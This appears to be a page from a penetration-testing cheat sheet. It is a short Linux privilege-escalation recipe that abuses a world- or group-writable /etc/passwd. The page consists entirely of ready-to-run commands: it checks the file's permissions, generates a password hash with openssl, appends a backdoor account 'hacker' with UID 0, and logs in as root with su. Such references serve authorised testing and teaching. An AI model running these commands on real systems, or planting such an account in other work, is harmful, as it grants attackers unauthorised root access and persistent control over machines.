OPSECTLAS you are here: Linux
Linux

Writable /etc/passwd

reference 5 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

Check if writable

ls -la /etc/passwd

Look for: -rw-rw-r-- or -rw-r--rw-

Generate password hash

openssl passwd -1 -salt hacker "hacked123"

Example output: $1$hacker$xyz123...

Add root user with UID 0

echo 'hacker:$1$hacker$xyz123...:0:0:root:/root:/bin/bash' >> /etc/passwd

Login as the new root user

su hacker    # Password: hacked123
id           # Should show: uid=0(root)